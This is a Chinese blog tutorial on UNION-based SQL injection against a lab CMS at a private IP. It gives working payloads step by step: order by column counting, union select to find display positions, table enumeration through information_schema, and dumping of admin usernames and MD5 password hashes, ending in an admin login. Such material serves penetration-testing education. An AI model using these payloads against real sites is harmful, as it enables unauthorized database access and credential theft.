01-sql-联合查询

本文详细介绍了如何利用SQL联合查询进行网站安全测试,包括探测网站是否存在注入点,查询数据库中数据表的列数,寻找回显位以及查询潜在的账号密码信息。通过示例展示了order by、union select等技术的运用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查询

语法

select… union select…

条件

1.查询的两张表具有列数
2.查询的两张表具有相同的字段

过程

探测网站是否存在注入点

在这里插入图片描述
打开网站主页,随便打开一个一条新闻

http://192.168.36.131/cms/show.php?id=33

在这里插入图片描述
可以看到URL中出现id,改变id值,页面出现跳转

http://192.168.36.131/cms/show.php?id=34

在这里插入图片描述

查询当前数据库中数据表的列数

使用order by查询当前数据库中数据表的列数

http://192.168.36.131/cms/show.php?id=34 order by 15

在这里插入图片描述

此处页面正常显示

查找回显位

以下接着进行联合查询

http://192.168.36.131/cms/show.php?id=34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

在这里插入图片描述
页面没有回显,将id的值置为假

http://192.168.36.131/cms/show.php?id=-34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

在这里插入图片描述
发现有2个回显位(3号位和11号位)

查询当前数据库中数据表的列数

http://192.168.36.131/cms/show.php?id=-34 union select 1,2,hex(table_name),4,5,6,7,8,9,10,database(),12,13,14,15 from information_schema.tables where table_schema=database()

在这里插入图片描述
对表名进行解码(十六进制)
(636D735F61727469636C65)转换得到当前表名(cms_article)
为了得到当前数据库的所有表名,使用groupconcat()

http://192.168.36.131/cms/show.php?id=-34 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,database(),12,13,14,15 from information_schema.tables where table_schema=database()

(636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273)十六进制转换得到(cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users)

查询数据后台账号和密码

根据得到的数据表名,猜想数据库账号和密码存储在cms_users中,对cms_users进行查询

http://192.168.36.131/cms/show.php?id=-34 union select 1,2,concat(username,0x2a,password),4,5,6,7,8,9,10,database(),12,13,14,15 from cms_users

在这里插入图片描述
MD5解码得到密码是123456
在这里插入图片描述
至此成功登陆网站后台

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值